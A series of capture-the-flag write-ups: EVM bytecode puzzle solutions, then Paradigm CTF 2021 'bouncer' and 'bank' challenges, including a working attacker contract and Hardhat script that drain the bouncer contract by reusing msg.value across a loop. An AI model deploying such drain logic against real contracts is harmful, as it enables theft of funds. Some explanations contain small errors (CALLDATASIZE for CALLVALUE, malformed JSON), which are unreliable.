More EVM Puzzles Part 2

Challenge 6:

The puzzles for these challenges are located in puzzles/. Challenge 6 contains the following:

{
  "code": "7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03401600114602a57fd5b00",
  "askForValue": true,
  "askForData": false
}
Opcodes:
00      7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0      PUSH32 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0
21      34                                                                      CALLVALUE
22      01                                                                      ADD
23      6001                                                                    PUSH1 01
25      14                                                                      EQ
26      602A                                                                    PUSH1 2A
28      57                                                                      JUMPI
29      FD                                                                      REVERT
2A      5B                                                                      JUMPDEST
2B      00                                                                      STOP
Solution:

This is simply an integer overflow. We need to add 0x10 to the value on top of the stack to make it 0x01. Thus, our callvalue simply has to be 17.

{"value":17,"data":"0x"}

Challenge 7:

The puzzles for these challenges are located in puzzles/. Challenge 7 contains the following:

{
  "code": "5a345b60019003806000146011576002565b5a90910360a614601d57fd5b00",
  "askForValue": true,
  "askForData": false
}
Opcodes:
00      5A        GAS
01      34        CALLVALUE
02      5B        JUMPDEST
03      6001      PUSH1 01
05      90        SWAP1
06      03        SUB
07      80        DUP1
08      6000      PUSH1 00
0A      14        EQ
0B      6011      PUSH1 11
0D      57        JUMPI
0E      6002      PUSH1 02
10      56        JUMP
11      5B        JUMPDEST
12      5A        GAS
13      90        SWAP1
14      91        SWAP2
15      03        SUB
16      60A6      PUSH1 A6
18      14        EQ
19      601D      PUSH1 1D
1B      57        JUMPI
1C      FD        REVERT
1D      5B        JUMPDEST
1E      00        STOP
Solution:

This one is the first challenge that contains a loop! Here is what all of this code does. First, it places the current gas on the top of the stack. Then, it creates a loop that it will go through CALLDATASIZE times. Finally, once it exits the loop it will check that we have consumed precisely 0xa6 amount of gas. If we have we win! Otherwise, we fail. The pseudocode below demonstrates an interpretation of the puzzle’s path:

gas_num = GAS;
i = CALLDATASIZE;
while (i != 0) {
    i--;
}
if ((gas_num - GAS) == 0xa6) {
    STOP
} else {
    REVERT
}

Ok, great so now we just need to exhaust 0xa6 in gas from the time the first GAS is called.

Here are the costs of the OPCODES

CALLVALUE: 2
<LOOP>
JUMPDEST: 1
PUSH1 01: 3
SWAP1: 3
SUB: 3
DUP1: 3
PUSH1 00: 3
EQ: 3
PUSH1 11: 3
JUMPI: 10
PUSH1 02: 3
JUMP: 8
<END LOOP>
JUMPDEST: 1
GAS: 2

So we have 2 + (x(43)-11) + 3 = 166

solving for x we get 4 as our CALLVALUE.

{"value":4,"data":"0x"}

Challenge 8:

The puzzles for these challenges are located in puzzles/. Challenge 8 contains the following:

{
  "code": "341519600757fd5b3660006000373660006000f047600060006000600047865af1600114602857fd5b4714602f57fd5b00",
  "askForValue": false,
  "askForData": true
}
Opcodes:
00      34        CALLVALUE
01      15        ISZERO
02      19        NOT
03      6007      PUSH1 07
05      57        JUMPI
06      FD        REVERT
07      5B        JUMPDEST
08      36        CALLDATASIZE
09      6000      PUSH1 00
0B      6000      PUSH1 00
0D      37        CALLDATACOPY
0E      36        CALLDATASIZE
0F      6000      PUSH1 00
11      6000      PUSH1 00
13      F0        CREATE
14      47        SELFBALANCE
15      6000      PUSH1 00
17      6000      PUSH1 00
19      6000      PUSH1 00
1B      6000      PUSH1 00
1D      47        SELFBALANCE
1E      86        DUP7
1F      5A        GAS
20      F1        CALL
21      6001      PUSH1 01
23      14        EQ
24      6028      PUSH1 28
26      57        JUMPI
27      FD        REVERT
28      5B        JUMPDEST
29      47        SELFBALANCE
2A      14        EQ
2B      602F      PUSH1 2F
2D      57        JUMPI
2E      FD        REVERT
2F      5B        JUMPDEST
30      00        STOP
Solution:

Looking at the opcodes, we can see that we create a contract using whatever our calldata is then we get the balance of the calling account (which should be 0). Next, we call into our newly created contract with no value and no calldata and we need this to return 1 (no revert). Finally, we make sure we still have the same balance on this account (which started as 0).

To be honest I’m a bit thrown off by what the point of this level is. We can just send in basically anything to solve this.

{"data":"0x00","value":0}

Challenge 9:

The puzzles for these challenges are located in puzzles/. Challenge 9 contains the following:

{
  "code": "34600052602060002060F81C60A814601657FDFDFDFD5B00",
  "askForValue": true,
  "askForData": false
}
Opcodes:
00      34        CALLVALUE
01      6000      PUSH1 00
03      52        MSTORE
04      6020      PUSH1 20
06      6000      PUSH1 00
08      20        SHA3
09      60F8      PUSH1 F8
0B      1C        SHR
0C      60A8      PUSH1 A8
0E      14        EQ
0F      6016      PUSH1 16
11      57        JUMPI
12      FD        REVERT
13      FD        REVERT
14      FD        REVERT
15      FD        REVERT
16      5B        JUMPDEST
17      00        STOP
Solution:

What we’re doing here is taking the keccak256() hash of our callvalue input and seeing if it begins with a8. If it does then we win the challenge. This can be solved by brute forcing a valid solution.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;

contract solveKeccak {
    function getDesiredCalldata() public view returns (uint256){
        for (uint i; i < 1000; i++){
            bytes32 hash = keccak256(abi.encodePacked(i));
            if (bytes1(hash) == 0xa8) {
                return i;
            }
        }
    }
}

{"value":47,"data":"0x"}

Challenge 10:

The puzzles for these challenges are located in puzzles/. Challenge 10 contains the following:

{
  "code": "602060006000376000517ff0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f01660206020600037600051177fabababababababababababababababababababababababababababababababab14605d57fd5b00",
  "askForValue": false,
  "askForData": true
}

Opcodes:
00      6020                                                                    PUSH1 20
02      6000                                                                    PUSH1 00
04      6000                                                                    PUSH1 00
06      37                                                                      CALLDATACOPY
07      6000                                                                    PUSH1 00
09      51                                                                      MLOAD
0A      7FF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0      PUSH32 F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0
2B      16                                                                      AND
2C      6020                                                                    PUSH1 20
2E      6020                                                                    PUSH1 20
30      6000                                                                    PUSH1 00
32      37                                                                      CALLDATACOPY
33      6000                                                                    PUSH1 00
35      51                                                                      MLOAD
36      17                                                                      OR
37      7FABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB      PUSH32 ABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB
58      14                                                                      EQ
59      605D                                                                    PUSH1 5D
5B      57                                                                      JUMPI
5C      FD                                                                      REVERT
5D      5B                                                                      JUMPDEST
5E      00                                                                      STOP

Solution:

The final challenge! Basically, the first 32 bytes of our calldata will be part of an AND operation with 0xF0F0F0.... The reulst of this will then be part of an OR operation with the next 32 bytes of our calldata. We want the result to be equal to ABABAB... to solve the puzzle. The AND operation will set everything the same as it comes in for odd positioned characters and flip the even positioned characters to 0. But we then get to send the result of this to the OR operation. So, we can just send 0xABABAB... for 64 bytes and call it a day.

{"data":"0xabababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababab","value":0}

More EVM Puzzles Part 1

Challenge 1:

The puzzles for these challenges are located in puzzles/. Challenge 1 contains the following:

{
  "code": "36340A56FEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFE5B58360156FEFE5B00",
  "askForValue": true,
  "askForData": true
}
Opcodes:
00      36      CALLDATASIZE
01      34      CALLVALUE
02      0A      EXP
03      56      JUMP
04      FE      INVALID
05      FE      INVALID
06      FE      INVALID
07      FE      INVALID
08      FE      INVALID
09      FE      INVALID
0A      FE      INVALID
0B      FE      INVALID
0C      FE      INVALID
0D      FE      INVALID
0E      FE      INVALID
0F      FE      INVALID
10      FE      INVALID
11      FE      INVALID
12      FE      INVALID
13      FE      INVALID
14      FE      INVALID
15      FE      INVALID
16      FE      INVALID
17      FE      INVALID
18      FE      INVALID
19      FE      INVALID
1A      FE      INVALID
1B      FE      INVALID
1C      FE      INVALID
1D      FE      INVALID
1E      FE      INVALID
1F      FE      INVALID
20      FE      INVALID
21      FE      INVALID
22      FE      INVALID
23      FE      INVALID
24      FE      INVALID
25      FE      INVALID
26      FE      INVALID
27      FE      INVALID
28      FE      INVALID
29      FE      INVALID
2A      FE      INVALID
2B      FE      INVALID
2C      FE      INVALID
2D      FE      INVALID
2E      FE      INVALID
2F      FE      INVALID
30      FE      INVALID
31      FE      INVALID
32      FE      INVALID
33      FE      INVALID
34      FE      INVALID
35      FE      INVALID
36      FE      INVALID
37      FE      INVALID
38      FE      INVALID
39      FE      INVALID
3A      FE      INVALID
3B      FE      INVALID
3C      FE      INVALID
3D      FE      INVALID
3E      FE      INVALID
3F      FE      INVALID
40      5B      JUMPDEST
41      58      PC
42      36      CALLDATASIZE
43      01      ADD
44      56      JUMP
45      FE      INVALID
46      FE      INVALID
47      5B      JUMPDEST
48      00      STOP
Solution:

We are expected to send in both calldata and callvalue for this challenge. Reviewing the opcodes, we can tell that we will be jumping to the location calculated by (CALLVALUE ** CALLDATASIZE). Ideally we’d end up at the final JUMPDEST at 0x47 and call it a day but that’s 71 in decimal and not a particularly friendly number to work with. So, we now have a few options for getting ourselves to the JUMPDEST at 0x40 which is 64 in decimal. Looking ahead, we see that we will be effectively pushing 0x41 onto the stack and then adding the size of our calldata to it before jumping to that location. Cool, we know we want to get to 0x47 so our calldata should be 6 bytes in size. That means our call value will be 2 wei since 2**6 = 0x40.

{"value":2,"data":"0xabcdef012345"}

Challenge 2:

The puzzles for these challenges are located in puzzles/. Challenge 2 contains the following:

{
  "code": "3660006000373660006000F0600080808080945AF13D600a14601F57FEFEFE5B00",
  "askForValue": false,
  "askForData": true
}
Opcodes:
00      36        CALLDATASIZE
01      6000      PUSH1 00
03      6000      PUSH1 00
05      37        CALLDATACOPY
06      36        CALLDATASIZE
07      6000      PUSH1 00
09      6000      PUSH1 00
0B      F0        CREATE
0C      6000      PUSH1 00
0E      80        DUP1
0F      80        DUP1
10      80        DUP1
11      80        DUP1
12      94        SWAP5
13      5A        GAS
14      F1        CALL
15      3D        RETURNDATASIZE
16      600A      PUSH1 0A
18      14        EQ
19      601F      PUSH1 1F
1B      57        JUMPI
1C      FE        INVALID
1D      FE        INVALID
1E      FE        INVALID
1F      5B        JUMPDEST
20      00        STOP
Solution:

Let’s break this challenge down into two blocks

Block 1

00      36        CALLDATASIZE
01      6000      PUSH1 00
03      6000      PUSH1 00
05      37        CALLDATACOPY
06      36        CALLDATASIZE
07      6000      PUSH1 00
09      6000      PUSH1 00
0B      F0        CREATE

This block is all used to setup the CREATE opcode. All we are doing here is taking our callvalue and copying that into memory to serve as our initializiation code for the new contract we will CREATE.

Block 2

0C      6000      PUSH1 00
0E      80        DUP1
0F      80        DUP1
10      80        DUP1
11      80        DUP1
12      94        SWAP5
13      5A        GAS
14      F1        CALL
15      3D        RETURNDATASIZE
16      600A      PUSH1 0A
18      14        EQ
19      601F      PUSH1 1F
1B      57        JUMPI

This block now makes a call to our newly created contract. Note that all of the arguments are 0 except for gas and the address. The call to the newly address will therefore contain no calldata. After the call, we get back the size in bytes of our return data and check that it is equal to 0x0a. If so, then we will take the JUMPI and complete this challenge. What we want then is to create a contract such that when an external call is made to our contract with no function data it returns data that is 10 (0x0a) bytes long. Conveniently, this can be achieved through a fallback function.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;


contract ReturnTenBytes {

    fallback(bytes calldata) external returns(bytes memory) {
        bytes10 derp = 0x01020304050607080910;
        return abi.encodePacked(derp);
    }
}
{"data":"0x608060405234801561001057600080fd5b5060eb8061001f6000396000f3fe6080604052348015600f57600080fd5b5060003660606000690102030405060708091060b01b90508060405160200160369190609c565b604051602081830303815290604052915050915050805190602001f35b60007fffffffffffffffffffff0000000000000000000000000000000000000000000082169050919050565b6000819050919050565b60966092826053565b607f565b82525050565b600060a682846089565b600a820191508190509291505056fea2646970667358221220e25716522e5bb854bfb1b889755e9b80453278e42970c53115815194240a401d64736f6c63430008100033","value":0}

Challenge 3:

The puzzles for these challenges are located in puzzles/. Challenge 3 contains the following:

{
  "code": "3660006000373660006000F06000808080935AF460055460aa14601e57fe5b00",
  "askForValue": false,
  "askForData": true
}
Opcodes:
00      36        CALLDATASIZE
01      6000      PUSH1 00
03      6000      PUSH1 00
05      37        CALLDATACOPY
06      36        CALLDATASIZE
07      6000      PUSH1 00
09      6000      PUSH1 00
0B      F0        CREATE
0C      6000      PUSH1 00
0E      80        DUP1
0F      80        DUP1
10      80        DUP1
11      93        SWAP4
12      5A        GAS
13      F4        DELEGATECALL
14      6005      PUSH1 05
16      54        SLOAD
17      60AA      PUSH1 AA
19      14        EQ
1A      601E      PUSH1 1E
1C      57        JUMPI
1D      FE        INVALID
1E      5B        JUMPDEST
1F      00        STOP
Solution:

This one is a lot like challenge 2 with two minor differences. First, we are now using a DELEGTECALL as opposed to a CALL. Second, instead of checking the size of our return data, we are checking the contents of our fifth storage slot. This is a useful combination as DELEGATECALL allows the call to our newly created contract to modify the caller’s state. Thus we can solve this challenge by setting the fifth storage slot to 0xAA when our contract is called into.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;


contract StoreSlotFive {

    uint256 slotZero = 0;
    uint256 slotOne = 1;
    uint256 slotTwo = 2;
    uint256 slotThree = 3;
    uint256 slotFour = 4;
    uint256 slotFive = 5;

    fallback() external {
        slotFive = 170;
    }
}

{"data":"0x6080604052600080556001805560028055600380556004805560058055348015602757600080fd5b50604f8060356000396000f3fe6080604052348015600f57600080fd5b5060aa600581905500fea2646970667358221220dc6332a94c366877000ab52293ddc44fabb9baedc61e97b7ed4fd539d46f21cb64736f6c63430008100033","value":0}

Challenge 4:

The puzzles for these challenges are located in puzzles/. Challenge 4 contains the following:

{
  "code": "30313660006000373660003031F0319004600214601857FD5B00",
  "askForValue": true,
  "askForData": true
}
Opcodes:
00      30        ADDRESS
01      31        BALANCE
02      36        CALLDATASIZE
03      6000      PUSH1 00
05      6000      PUSH1 00
07      37        CALLDATACOPY
08      36        CALLDATASIZE
09      6000      PUSH1 00
0B      30        ADDRESS
0C      31        BALANCE
0D      F0        CREATE
0E      31        BALANCE
0F      90        SWAP1
10      04        DIV
11      6002      PUSH1 02
13      14        EQ
14      6018      PUSH1 18
16      57        JUMPI
17      FD        REVERT
18      5B        JUMPDEST
19      00        STOP
Solution:

The crux of this challenge is understanding that the CREATE opcode runs the initialization code on the newly created contract. Further, we know that initialization code always contains a contract’s constructor. Therefore, we can create a contract such that the constructor performs our desired actions. But what are the desired actions?

We can see that the balance of the calling context is taken and sent to the CREATE opcode. In this case that will be the call value we are sending along. We can also see that upon successful contract creation, the balance of the new address is checked and then becomes the divisor in a DIV operation with the initial balance. This needs to equal to 2 for us to solve the puzzle. So, we get to choose any values X and Y such that X / Y = 2. X will be our callvalue and Y will be our ending balance for the newly created contract. I chose to send 4 wei to the new contract and to forward 2 of the wei to the 0 address during construction.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;


contract LowerBalanceIn {
    constructor() payable {
        payable(address(0)).send(2);
    }
}

{"value":4 "data":"0x6080604052600073ffffffffffffffffffffffffffffffffffffffff166108fc60029081150290604051600060405180830381858888f1935050505050603f8060496000396000f3fe6080604052600080fdfea2646970667358221220d67c79b5559a559287188a32474490c251553397b7209a654a3611ac156a20ef64736f6c63430008090033"}

Challenge 5:

The puzzles for these challenges are located in puzzles/. Challenge 5 contains the following:

{
  "code": "60203611600857FD5B366000600037365903600314601957FD5B00",
  "askForValue": false,
  "askForData": true
}
Opcodes:
00      6020      PUSH1 20
02      36        CALLDATASIZE
03      11        GT
04      6008      PUSH1 08
06      57        JUMPI
07      FD        REVERT
08      5B        JUMPDEST
09      36        CALLDATASIZE
0A      6000      PUSH1 00
0C      6000      PUSH1 00
0E      37        CALLDATACOPY
0F      36        CALLDATASIZE
10      59        MSIZE
11      03        SUB
12      6003      PUSH1 03
14      14        EQ
15      6019      PUSH1 19
17      57        JUMPI
18      FD        REVERT
19      5B        JUMPDEST
1A      00        STOP

Solution:

This challenge doesn’t require creating a contract and is quite straightforward. We need to supply calldata greater in length than 0x20 to jump over the first REVERT instruction. Then, we need our calldata to be 3 bytes less in size than what is in memory. Huh, but aren’t we placing the calldata in memory? The key here is that MSIZE reads memory in 0x20 byte increments. So we just need to place in any calldata that is 3 less than a multiple of 0x20 (and greater than 0x20). We can choose 0x40 for the multiple and submit calldata of length 0x3d.

{"data":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","value":0}

Paradigm CTF 2021: bouncer

Challenge:

This write-up is for the challenge titled ‘bouncer’.

This challenge is located in the bouncer/public/ directory. The source code can be found below:

Bouncer.sol:
pragma solidity 0.8.0;

interface ERC20Like {
    function transfer(address dst, uint qty) external returns (bool);
    function transferFrom(address src, address dst, uint qty) external returns (bool);
    function approve(address dst, uint qty) external returns (bool);
    function allowance(address src, address dst) external returns (uint256);
    function balanceOf(address who) external view returns (uint);
}

contract Bouncer {
    address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 public constant entryFee = 1 ether;

    address owner;
    constructor() payable {
        owner = msg.sender;
    }

    mapping (address => address) public delegates;
    mapping (address => mapping (address => uint256)) public tokens;
    struct Entry {
        uint256 amount;
        uint256 timestamp;
        ERC20Like token;
    }
    mapping (address => Entry[]) entries;


    // declare intent to enter
    function enter(address token, uint256 amount) public payable {
        require(msg.value == entryFee, "err fee not paid");
        entries[msg.sender].push(Entry ({
            amount: amount,
            token: ERC20Like(token),
            timestamp: block.timestamp
        }));
    }

    function convertMany(address who, uint256[] memory ids) payable public {
        for (uint256 i = 0; i < ids.length; i++) {
            convert(who, ids[i]);
        }
    }

    // use the returned number to gatekeep
    function contributions(address who, address[] memory coins) public view returns (uint256[] memory) {
        uint256[] memory res = new uint256[](coins.length);
        for (uint256 i = 0; i < coins.length; i++) {
            res[i] = tokens[who][coins[i]];
        }
        return res;
    }

    // convert your erc20s to tokens
    function convert(address who, uint256 id) payable public {
        Entry memory entry = entries[who][id];
        require(block.timestamp != entry.timestamp, "err/wait after entering");
        if (address(entry.token) != ETH) {
            require(entry.token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval");
        }
        require(msg.sender == who || msg.sender == delegates[who]);
        proofOfOwnership(entry.token, who, entry.amount);
        tokens[who][address(entry.token)] += entry.amount;
    }

    // redeem your tokens for their underlying erc20
    function redeem(ERC20Like token, uint256 amount) public {
        tokens[msg.sender][address(token)] -= amount;
        payout(token, msg.sender, amount);
    }

    function payout(ERC20Like token, address to, uint256 amount) private {
        if (address(token) == ETH) {
            payable(to).transfer(amount);
        } else {
            require(token.transfer(to, amount), "err/not enough tokens");
        }
    }

    function proofOfOwnership(ERC20Like token, address from, uint256 amount) public payable {
        if (address(token) == ETH) {
            require(msg.value == amount, "err/not enough tokens");
        } else {
            require(token.transferFrom(from, address(this), amount), "err/not enough tokens");
        }
    }

    function addDelegate(address from, address to) public {
        require(msg.sender == owner || msg.sender == from);
        delegates[from] = to;
    }

    function removeDelegate(address from) public {
        require(msg.sender == owner || msg.sender == from);
        delete delegates[from];
    }

    // get all the fees given during registration
    function claimFees() public {
        require(msg.sender == owner);
        payable(msg.sender).transfer(address(this).balance);
    }

    // owner can trigger arbitrary calls
    function hatch(address target, bytes memory data) public {
        require(msg.sender == owner);
        (bool ok, bytes memory res) = target.delegatecall(data);
        require(ok, string(res));
    }
}

contract Party {
    Bouncer bouncer;
    constructor(Bouncer _bouncer) {
        bouncer = _bouncer;
    }

    function isAllowed(address who) public view returns (bool) {
        address[] memory res = new address[](2);
        res[0] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
        res[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        uint256[] memory contribs = bouncer.contributions(who, res);
        uint256 sum;
        for (uint256 i = 0; i < contribs.length; i++) {
            sum += contribs[i];
        }
        return sum > 1000 * 1 ether;
    }
}

Setup.sol:
pragma solidity 0.8.0;

import "./Bouncer.sol";

interface WETH9 is ERC20Like {
    function deposit() external payable;
}

contract Setup {
    address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Bouncer public bouncer;
    Party public party;

    constructor() payable {
        require(msg.value == 100 ether);
        // give some cash to the bouncer for his drinks
        bouncer = new Bouncer{value: 50 ether}();

        // 2 * eth
        bouncer.enter{value: 1 ether}(address(weth), 10 ether);
        bouncer.enter{value: 1 ether}(ETH, 10 ether);

        party = new Party(bouncer);
    }

    function isSolved() public view returns (bool) {
        return address(bouncer).balance == 0;
    }
}

The hints and solutions for this level can be found below:

Hint 1:

Pay once, get several uses!

Hint 2:

How is msg.value tracked between function calls made inside of a loop?

The solution for this level can be found below:

Solution:

The issue here comes in two parts:

  1. The proofOfOwnership() function logic depends on the msg.value of being unique to the transaction in order to enforce a conversion amount.
  2. The convertMany() function performs several conversions in the same transaction, allowing us to reuse the msg.value amount.

Basically, we can convert several entries in a single convertMany() call while only supplying the appropriate value for one of them. In order to do this, we will create 7 entries with the token type being ETH and the token amount being 10 ether. Each entry costs 1 Ether on its face, so we have so far put 7 ether into the contract.

Next, we will call convertMany() with a msg.value of 10 eth and pass it all 7 entry ids we created. We have now put 17 ether into the contract but we have been credited with 70 ETH tokens.

Finally, we will redeem our ETH tokens for ether and we can drain the entire contract in one transaction (the contract was initialized with 50 ether, then two entries were made by the deployer for 1 ether each, and we placed 17 ether in ourselves for a total of 69 ether in the contract).

Hardhat Challenge:
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] bouncer', function () {

    before(async function () {
        /** SETUP */
        [deployer, attacker] = await ethers.getSigners();

        const Setup = await ethers.getContractFactory('SetupBouncer', deployer);
        this.setup = await Setup.deploy({value: ethers.utils.parseEther('100')});

        const Bouncer = await ethers.getContractFactory('Bouncer', deployer);
        this.bouncer = await Bouncer.attach(await this.setup.bouncer());

        expect(
            await ethers.provider.getBalance(this.bouncer.address)
        ).to.equal(ethers.utils.parseEther('52'));

        const Party = await ethers.getContractFactory('Party', deployer);
        this.party = await Party.attach(await this.setup.party());

        expect(
            await ethers.provider.getBalance(attacker.address)
        ).to.equal(ethers.utils.parseEther('10000'));

    });

    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */

    });

    after(async function () {
        /** SUCCESS CONDITIONS */

        expect(
            await this.setup.isSolved()
        ).to.equal(true);

        expect(
            await ethers.provider.getBalance(this.bouncer.address)
        ).to.equal(ethers.utils.parseEther('0'));

        expect(
            await ethers.provider.getBalance(attacker.address)
        ).to.equal(ethers.utils.parseEther('10050'));

    });
});


Contract Solution:
pragma solidity 0.8.0;
import "./SetupBouncer.sol";

contract BouncerAttacker {

Bouncer public bouncer;
SetupBouncer public setup;
address private attacker;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public counter;
uint256[] public ids;
ERC20Like public eth_token;
    constructor(address _setup, address _bouncer, address _attacker) {
        bouncer = Bouncer(_bouncer);
        setup = SetupBouncer(_setup);
        eth_token = ERC20Like(ETH);
        attacker = _attacker;
    }

    function makeEntry() public payable {
        require(msg.value == 1 ether);
        bouncer.enter{value: msg.value}(ETH, 10 ether);
        ids.push(counter); 
        ++counter;
    }
    function attack() public payable {
        require(msg.value == 10 ether);
        require(ids.length == 7);
        bouncer.convertMany{value: msg.value}(address(this), ids);
        bouncer.redeem(eth_token, 69 ether);
        payAttacker();
    }

    receive() external payable {
    }

    function payAttacker() public payable {
        payable(attacker).transfer(50 ether);
    }

}
HardHat Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */
        const BouncerAttacker = await ethers.getContractFactory('BouncerAttacker', deployer);
        this.bouncerAttacker = await BouncerAttacker.deploy(this.setup.address, this.bouncer.address, attacker.address);

        for (let i = 0; i < 7; i++) {
            await this.bouncerAttacker.makeEntry({value: ethers.utils.parseEther('1')});
        }
        expect(
            await ethers.provider.getBalance(this.bouncer.address)
        ).to.equal(ethers.utils.parseEther('59'));

        await this.bouncerAttacker.attack({value: ethers.utils.parseEther('10')});
        
        expect(
            await ethers.provider.getBalance(this.bouncer.address)
        ).to.equal(ethers.utils.parseEther('0'));

    });

Paradigm CTF 2021: bank

Challenge:

This write-up is for the challenge titled ‘bank’.

This challenge is located in the bank/public/ directory. The source code can be found below:

Bank.sol:
pragma solidity 0.4.24;

contract ERC20Like {
    function transfer(address dst, uint qty) public returns (bool);
    function transferFrom(address src, address dst, uint qty) public returns (bool);
    function approve(address dst, uint qty) public returns (bool);
    
    function balanceOf(address who) public view returns (uint);
}

contract Bank {
    address public owner;
    address public pendingOwner;
    
    struct Account {
        string accountName;
        uint uniqueTokens;
        mapping(address => uint) balances;
    }
    
    mapping(address => Account[]) accounts;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function depositToken(uint accountId, address token, uint amount) external {
        require(accountId <= accounts[msg.sender].length, "depositToken/bad-account");
        
        // open a new account for the user if necessary
        if (accountId == accounts[msg.sender].length) {
            accounts[msg.sender].length++;
        }
        
        Account storage account = accounts[msg.sender][accountId];
        uint oldBalance = account.balances[token];
        
        // check the user has enough balance and no overflows will occur
        require(oldBalance + amount >= oldBalance, "depositToken/overflow");
        require(ERC20Like(token).balanceOf(msg.sender) >= amount, "depositToken/low-sender-balance");
        
        // increment counter for unique tokens if necessary
        if (oldBalance == 0) {
            account.uniqueTokens++;
        }
        
        // update the balance
        account.balances[token] += amount;
        
        // transfer the tokens in
        uint beforeBalance = ERC20Like(token).balanceOf(address(this));
        require(ERC20Like(token).transferFrom(msg.sender, address(this), amount), "depositToken/transfer-failed");
        uint afterBalance = ERC20Like(token).balanceOf(address(this));
        require(afterBalance - beforeBalance == amount, "depositToken/fee-token");
    }
    
    function withdrawToken(uint accountId, address token, uint amount) external {
        require(accountId < accounts[msg.sender].length, "withdrawToken/bad-account");
        
        Account storage account = accounts[msg.sender][accountId];
        uint lastAccount = accounts[msg.sender].length - 1;
        uint oldBalance = account.balances[token];
        
        // check the user can actually withdraw the amount they want and we have enough balance
        require(oldBalance >= amount, "withdrawToken/underflow");
        require(ERC20Like(token).balanceOf(address(this)) >= amount, "withdrawToken/low-sender-balance");
        
        // update the balance
        account.balances[token] -= amount;
        
        // if the user has emptied their balance, decrement the number of unique tokens
        if (account.balances[token] == 0) {
            account.uniqueTokens--;
            
            // if the user is withdrawing everything from their last account, close it
            // we can't close accounts in the middle of the array because we can't
            // clone the balances mapping, so the user would lose all their balance
            if (account.uniqueTokens == 0 && accountId == lastAccount) {
                accounts[msg.sender].length--;
            }
        }
        
        // transfer the tokens out
        uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
        require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
        uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
        require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
    }
    
    // set the display name of the account
    function setAccountName(uint accountId, string name) external {
        require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
        
        accounts[msg.sender][accountId].accountName = name;
    }
    
    // close the last account if empty - we need this in case we couldn't automatically close
    // the account during withdrawal
    function closeLastAccount() external {
        // make sure the user has an account
        require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
        
        // make sure the last account is empty
        uint lastAccount = accounts[msg.sender].length - 1;
        require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
        
        // close the account
        accounts[msg.sender].length--;
    }
    
    // get info about the account
    function getAccountInfo(uint accountId) public view returns (string, uint) {
        require(accountId < accounts[msg.sender].length, "getAccountInfo/invalid-account");
        
        return (
            accounts[msg.sender][accountId].accountName,
            accounts[msg.sender][accountId].uniqueTokens
        );
    }
    
    // get the balance of a token
    function getAccountBalance(uint accountId, address token) public view returns (uint) {
        require(accountId < accounts[msg.sender].length, "getAccountBalance/invalid-account");
        
        return accounts[msg.sender][accountId].balances[token];
    }
    
    // transfer ownership to a new address
    function transferOwnership(address newOwner) public {
        require(msg.sender == owner);
        
        pendingOwner = newOwner;
    }
    
    // accept the ownership transfer
    function acceptOwnership() public {
        require(msg.sender == pendingOwner);
        
        owner = pendingOwner;
        pendingOwner = address(0x00);
    }
}
Setup.sol:
pragma solidity 0.4.24;

import "./Bank.sol";

contract WETH9 is ERC20Like {
    function deposit() public payable;
}

contract Setup {
    WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Bank public bank;
    
    constructor() public payable {
        require(msg.value == 50 ether);
        
        bank = new Bank();
        
        weth.deposit.value(msg.value)();
        weth.approve(address(bank), uint(-1));
        bank.depositToken(0, address(weth), weth.balanceOf(address(this)));
    }
    
    function isSolved() external view returns (bool) {
        return weth.balanceOf(address(bank)) == 0;
    }
}

The hints and solutions for this level can be found below:

Hint 1:

This challenge requires stringing together at least two different issues. One of them is unique to solidity verisions < 0.8.0.

Hint 2:

The core issue here is that you can underflow the length of a dynamic array.

The solution for this level can be found below:

Solution:

Due to the fact that storage for a contract is essentially a single 2^256 - 1 long array, underflowing a dynamic array means that the array size is large enough to contain any location in storage. This becomes an especially important issue when you combine the fact that we have the ability to write to this dynamic array. This gives us a classic write-what-where condition. If we can abuse this, we can write ourselves a balance and withdraw funds from the bank.

